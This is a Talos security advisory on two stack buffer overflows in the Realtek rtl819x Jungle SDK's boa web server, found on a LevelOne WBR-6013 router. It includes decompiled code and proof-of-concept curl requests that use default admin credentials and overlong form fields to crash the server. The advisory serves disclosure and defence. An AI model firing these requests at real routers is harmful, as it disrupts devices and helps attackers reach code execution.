Talos Vulnerability Report

TALOS-2023-1893

Realtek rtl819x Jungle SDK boa set_RadvdInterfaceParam stack-based buffer overflow vulnerabilities

July 8, 2024
CVE Number

CVE-2023-50239,CVE-2023-50240

SUMMARY

Two stack-based buffer overflow vulnerabilities exist in the boa set_RadvdInterfaceParam functionality of Realtek rtl819x Jungle SDK v3.4.11. A specially crafted series of network requests can lead to remote code execution. An attacker can send a sequence of requests to trigger these vulnerabilities.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

LevelOne WBR-6013 RER4_A_v3411b_2T2R_LEV_09_170623
Realtek rtl819x Jungle SDK v3.4.11

PRODUCT URLS

rtl819x Jungle SDK - https://www.realtek.com/en/ WBR-6013 - https://www.level1.com/level1_en/wbr-6013-n300-wireless-router-54069103

CVSSv3 SCORE

7.2 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-121 - Stack-based Buffer Overflow

DETAILS

The rtl819x Jungle SDK is an SDK for routers. This SDK uses as web server boa.

These Realtek rtl819x Jungle SDK vulnerabilities were found while researching the Levelone WBR-6013 router. We are going to explain these vulnerabilities from the perspective of the WBR-6013 router.

The WBR-6013 router has a web server called boa. The version used in the device is that of a Realtek SDK that uses boa. One of the SDK’s API is /boafrm/formRadvd. This API allows modifications of some parameters related with router advertisement. The function responsible for this API is boa’s formRadvd:

void formRadvd(request *wp, char *path, char *query)
{
    [...]
    radvdCfgParam_t radvdCfgParam;
[1] getRadvdInfo(&radvdCfgParam);

    save_translation = get_correct_lang("Save");
    save_and_apply_translation = get_correct_lang("Save & Apply");
    get_correct_lang("Save & Apply");
[2] if((0 == strcmp(req_get_cstream_var(wp,"submit",""), save_translation))||(0 == strcmp(req_get_cstream_var(wp, ("save_apply"), ""), save_and_apply_translation)))
    {
        set_RadvdParam(wp, path, query,&radvdCfgParam);
    }
    [...]	
}

The router advertisement information is fetched, at [1], in radvdCfgParam. This function checks if, in the request parameters, there is at least one key between submit and save_apply that checks at [2]. If so the set_RadvdParam function is called with the radvdCfgParam argument. If changes are required, the changes are performed in this struct variable and later committed in the flash. Following the set_RadvdParam function:

int set_RadvdParam(request *wp, char *path, char *query, radvdCfgParam_t *pradvdCfgParam)
{
    [...]
    enable=atoi(req_get_cstream_var(wp,"enable_radvd",""));
    [...]
    if(enable)
    {
        set_RadvdInterfaceParam(wp, path, query,pradvdCfgParam);
        set_RadvdPrefixParam(wp, path, query,pradvdCfgParam);
    }
    return 0;
}

This function will fetch the enable_radvd request’s parameter, if the value defined in the functions set_RadvdInterfaceParam and set_RadvdPrefixParam is called. Following the set_RadvdInterfaceParam function:

int set_RadvdInterfaceParam(request *wp,  char *path, char *query, radvdCfgParam_t *pradvdCfgParam)
{
    [...]


[3] tmp=req_get_cstream_var(wp,"interfacename","");
    if(strcmp(tmp,pradvdCfgParam->interface.Name))
    {
[4]     strcpy(pradvdCfgParam->interface.Name, tmp);
    }
    [...]
[5] tmp=req_get_cstream_var(wp,"AdvDefaultPreference","");
    if(strcmp(tmp,pradvdCfgParam->interface.AdvDefaultPreference))
    {
[6]     strcpy(pradvdCfgParam->interface.AdvDefaultPreference, tmp);
    }
    [...]
}

Here the pradvdCfgParam variable, considering the code path shown above, will reside in the stack frame of the formRadvd function. At [3] the interfacename request’s parameter is fetched and used at [4] to update the interface.Name struct member of the pradvdCfgParam variable. On the same function, at [5], the AdvDefaultPreference request’s parameter is fetched and used to update the interface.AdvDefaultPreference struct member of the pradvdCfgParam variable, at [6]. Both instances lead to an issue that we describe separately below.

CVE-2023-50239 - interfacename

Because no checks are performed on the size of the interfacename request’s parameter string, a buffer overflow can occur at [4] in the stack variable radvdCfgParam in the formRadvd function. An attacker could exploit this vulnerability to achieve arbitrary code execution.

Exploit Proof of Concept

To use a specific API of the web server, because of a CSRF protection mechanism, it is necessary to load the HTML page that would call that API:

curl --user admin:admin http://<DEVICE_IP>/radvd.htm &>/dev/null

After this request it is possible to use the /boafrm/formRadvd API:

curl -d "submit=Save&enable_radvd=1&submit-url=POC&interfacename=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" -X POST -H "Content-Type: application/x-www-form-urlencoded" --user admin:admin http://<DEVICE_IP>/boafrm/formRadvd

After the request the boa process will crash. The POC uses the default admin credentials.

CVE-2023-50240 - AdvDefaultPreference

Because no checks are performed on the size of the AdvDefaultPreference request’s parameter string, a buffer overflow can occur at [6] in the stack variable radvdCfgParam in the formRadvd function. An attacker could exploit this vulnerability to achieve arbitrary code execution.

Exploit Proof of Concept

To use a specific API of the web server, because of a CSRF protection mechanism, it is necessary to load the HTML page that would call that API:

curl --user admin:admin http://<DEVICE_IP>/radvd.htm &>/dev/null

After this request it is possible to use the /boafrm/formRadvd API:

curl -d "submit=Save&enable_radvd=1&submit-url=POC&AdvDefaultPreference=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" -X POST -H "Content-Type: application/x-www-form-urlencoded" --user admin:admin http://<DEVICE_IP>/boafrm/formRadvd

After the request the boa process will crash. The POC uses the default admin credentials.

VENDOR RESPONSE

Realtek has provided updates software to their customers. LevelOne has declined to patch the issues in their software.

TIMELINE

2023-12-14 - Initial Vendor Contact
2023-12-22 - Vendor Disclosure
2024-05-20 - Vendor Patch Release
2024-07-08 - Public Release

Credit

Discovered by Francesco Benvenuto of Cisco Talos.